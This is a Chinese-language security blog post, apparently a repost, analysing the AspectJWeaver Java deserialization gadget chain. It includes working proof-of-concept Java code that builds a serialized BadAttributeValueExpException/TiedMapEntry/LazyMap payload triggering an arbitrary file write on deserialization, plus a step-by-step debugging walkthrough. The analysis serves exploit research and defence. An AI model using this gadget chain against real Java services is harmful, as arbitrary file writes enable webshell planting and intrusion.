AspectJWeaver反序列化利用链
2022-12-30 00:6:42 Author: 橘猫学安全(查看原文) 阅读量:23 收藏

前言

aspectjweaver中有一个SimpleCache类,SimpleCache类中的内部类StoreableCachingMap是一个继承HashMap的类。

其重写了HashMap的put方法。

其put方法中的writeToPath方法执行了写入文件的操作,以传入的key为文件名,valueBytes为写入文件的内容,valueBytes由put方法中传入的value而来。

writeToPath方法中this.folder为要写入的路径,可以由StoreableCachingMap类的构造函数传入。

然后与File.separator(即),key(文件名)进行拼接,构成fullPath(文件写入的位置),创建FileOutputStream,向其中写入bytes即传入的valueBytes

简单demo

如下demo,利用aspectjweaver中的SimpleCache类的内部类StoreableCachingMap的put方法实现文件写入:
import java.lang.reflect.Constructor;import java.nio.charset.StandardCharsets;import java.util.HashMap;public class test {
public static void main(String[] args) throws Exception {
// 反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
// 实例化对象
HashMap map = (HashMap)con.newInstance("D:", 1);
// 调用其put方法
map.put("1.txt","21321321".getBytes(StandardCharsets.UTF_8));
}}
其会创建D:\1.txt文件,内容为21321321

反序列化触发

从上述分析,可以知道,只要能触发SimpleCache$StoreableCachingMap的put方法就能执行文件写入操作。
CommonCollections中的LazyMap的get方法中存在put方法的调用

在CC反序列化利用链中,LazyMap的get方法常用来触发transformer的transform方法。
我们可以将CC反序列化利用链中触发LazyMap的get的操作用到这里,这就需要目标同时存在CommonCollections依赖。
如下demo即可实现反序列化时写入文件:
import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.charset.StandardCharsets;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class test {
public static void main(String[] args) throws Exception {
// 反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
// 实例化对象
HashMap map = (HashMap)con.newInstance("D:", 1);
// 这里用到ConstantTransformer是为了构造value,即写入文件的值
ConstantTransformer transform = new ConstantTransformer("12321321".getBytes(StandardCharsets.UTF_8));
// 返回一个LazyMap对象
Map outmap = LazyMap.decorate(map,transform);
// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");
// 这里是为了序列化时不触发LazyMap的get方法
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

// 序列化
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(poc);
System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
// 反序列化
ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}}

当然也可以利用其他方法来触发LazyMap的get

调试分析

对反序列化触发的代码进行调试分析。
反序列化BadAttributeValueExpException对象,首先进入BadAttributeValueExpException的readObject方法。

这里给valObj赋值为BadAttributeValueExpException对象的val成员的值,其是一个TiedMapEntry对象。
然后进行判断后,调用valObj.toString方法。

进入TiedMapEntry的toString方法。


可以看到其会调用到getValue方法。


在getValue方法中,会调用map.get方法,这里的map是在初始化TiedMapEntry对象的时候传入的LazyMap对象,key是在初始化TiedMapEntry对象的时候传入的"1.txt"
接着会进入LazyMap的get方法。


进行一个判断后,将value赋值为this.factory.transform的返回值,this.factory为LazyMap.decorate方法传入的ConstantTransformer对象。


接着ConstantTransformer的transform方法会返回iConstant,就是ConstantTransformer初始化时传入的值。


然后会调用到this.map.put方法,并传入key和value,this.map为LazyMap.decorate方法传入的SimpleCache$StoreableCachingMap对象。
进而调用到SimpleCache$StoreableCachingMap的put方法,writeToPath方法实现文件写入。

参考

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java

来源:先知(https://xz.aliyun.com/t/11499#toc-0)

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell
「 超详细 | 分享 」手把手教你如何进行内网渗透
神兵利器 | siusiu-渗透工具管理套件
一款功能全面的XSS扫描器
实战 | 一次利用哥斯拉马绕过宝塔waf
BurpCrypto: 万能网站密码爆破测试工具
快速筛选真实IP并整理为C段 -- 棱眼
自动探测端口顺便爆破工具t14m4t
渗透工具|无状态子域名爆破工具(1秒扫160万个子域)
查看更多精彩内容,还请关注橘猫学安全:
每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247502709&idx=2&sn=87adca291ec4817f50937ac3e9e1bea4&chksm=c04d4c4bf73ac55da6f409f5ffed8753f1e8b58da26d95737e662b45990a80ffd57944572a19#rd
如有侵权请联系:admin#unsafe.sh